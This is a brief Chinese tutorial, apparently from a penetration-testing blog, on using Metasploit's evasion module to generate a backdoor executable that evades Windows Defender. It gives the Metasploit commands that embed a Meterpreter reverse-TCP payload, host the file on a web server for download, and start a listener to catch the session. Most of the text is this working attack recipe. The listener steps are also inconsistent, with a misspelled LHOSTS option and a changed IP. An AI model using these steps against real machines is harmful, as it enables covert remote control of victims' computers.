渗透测试-使用metasploit的evasion模块生成后门木马

1.evasion简介

evasion是metasploit自带的模块，使用此模块可以生成反杀毒软件的木马。

2.操作流程

打开kali系统的Metasploit软件。

如图，我们可以看到evasion中有7个模块

 查看模块 search evasion

使用模块 use evasion/windows/windows_defender_exe

 查看需要配置的参数 show options

生成软件 set FILENAME 666.exe

 指定一个payload  set payload windows/meterpreter/reverse_tcp

 设置监听主机 set LHOST 192.168.0.109

 run

 将生成的软件复制到/var/www/html/目录下，便于去下载

cp /root/.msf4/local/666.exe /var/www/html/

在MSF上启动handler开始监听后门程序

1.kali启动Metasploit软件

2.使用模块 use exploit/multi/handler，并查看需要配置的参数show options

3.建立payload  set payload windows/meterpreter/reverse_tcp

4.设置监听主机--kali  set LHOSTS 192.168.1.109

5.开启run 

win7系统下载生成的666.exe文件

 运行软件，我们就成功建立会话成功